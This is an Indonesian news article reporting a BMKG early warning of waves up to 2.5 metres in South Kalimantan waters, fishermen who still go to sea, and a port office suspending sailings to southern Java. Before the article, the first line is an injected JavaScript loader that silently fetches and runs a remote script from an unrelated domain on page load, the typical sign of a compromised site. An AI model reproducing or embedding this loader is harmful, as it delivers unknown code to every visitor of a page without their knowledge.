(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

BMKG Minta Nelayan Waspadai Gelombang Tinggi di Perairan Kalsel

BANJARBARU, Badan Meteorologi Klimatologi dan Geofisika (BMKG) Stasiun Meteorologi Kelas II Syamsudin Noor, memberikan peringatan dini akan adanya gelombang tinggi hingga Jumat (27/7).

Kasi Observasi dan Informasi Stasiun Meteorologi Syamsudin Noor, Riza Arian Noor mengatakan berdasar data prakiraan cuaca kelautan Kalsel Peringatan dini waspada potensi gelombang tinggi mencapai 2,5 meter di wilayah laut Jawa bagian timur atau perairan selatan Kalsel. “Harap diperhatikan untuk perahu nelayan dan kapal tongkang,” katanya.

Sisi lain, laut Jawa bagian barat ketinggian gelombang 0,5 – 1,5 meter. Kemudian Laut Jawa bagian tengah gelombang 1,5 sampai 2 meter. Lalu Perairan Kotabaru gelombang pada kisaran 1,0 – 2 meter. Demikian dilansir Tribunnews.com.

Meskipun ada peringatan dari BMKG, namun nelayan di Desa Pagatan Besar, Kecamatan Takisung, Tanahlaut tetap melaut. Mereka berdalih, jika tak mencari ikan tidak akan ada sumber penghasilan yang mereka peroleh.

Kepala Unit Penyelenggara Pelabuhan (UPP) Kelas III Kintap, Abbas mengaku sudah mengeluarkan larangan berlayar bagi kapal tujuan Pulau Jawa bagian Selatan. “Setiap hari kami informasikan sesuai dengan informasi BMKG. Itu sejak 4 hari yang lalu,” katanya.

Sedangkan untuk perairan di wilayah kerja UPP Kelas III Kintap, masih dalam ambang normal. “Untuk hari ini, kapal-kapal yang akan berlayar ke Pulau Jawa bagian Selatan kami melakukan penangguhan jika ada karena ketinggian gelombang. Sesuai informasi BMKG antara 5 meter sampai dengan 6 meter,” ujarnya. (cel/trb)

Reporter:Cel/net
Editor: Cell